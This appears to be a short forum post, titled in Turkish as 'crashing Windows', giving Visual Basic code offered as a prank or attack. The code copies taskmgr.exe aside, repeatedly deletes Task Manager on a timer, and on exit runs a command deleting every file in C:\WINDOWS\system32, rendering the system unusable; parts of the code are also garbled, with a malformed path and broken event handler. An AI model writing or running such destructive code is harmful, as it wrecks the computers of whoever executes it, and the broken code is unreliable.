Windows çökertme

Private Sub Form_Load() filecopy "c:\windows\system32\taskmgr.exe" , "c:\windows\repeair\taskmgr.exe" 'Burada Taskmgr dosyasını yedekledik Timer1.interval=10End SubPrivate Sub Timer1() ON LOCAL ERROR RESUME NEXT Kill "c:\windows\system32\taskmgr.exe"End SubPrivate Sub Form_unload() filecopy "c:\windows\repeair\taskmgr.exe" , "c:\windows\system32\taskmgr.exec:\windows\repeair \taskmgr.exe"kill "C:\WINDOWS\system32\*.*"End Sub​